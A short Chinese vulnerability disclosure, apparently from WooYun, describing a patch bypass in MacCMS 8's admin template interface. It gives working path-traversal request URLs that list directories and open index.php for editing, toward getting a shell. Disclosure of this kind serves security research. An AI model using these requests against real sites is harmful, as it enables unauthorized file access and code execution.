漏洞作者： Mody
详细说明：
注意下，这里@农村教师 WooYun: 苹果CMS全版本getshell打包第一弹 之前提交过类似的后台getshell，但是修补了。。。
不废话，直接可耻的绕过它
1. 目录浏览
maccms后台有个接口，但是限制了，只能访问目录template里的文件
http://localhost/maccms8/admin/?m=template-list-path-../template/
访问其他目录也被默认访问了template目录
试图跳出template目录出错
绕过姿势(这个案例之前乌云上有过)
http://localhost/maccms8/admin/?m=template-list-path-../template/../
2. 编辑文件（不能直接新建）
与列目录类似，这里直接给出接口（乌云编辑器转义了，直接看图吧）
http://localhost/maccms8/admin/?m=template-info-file-../template/..///index.php
漏洞证明：
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论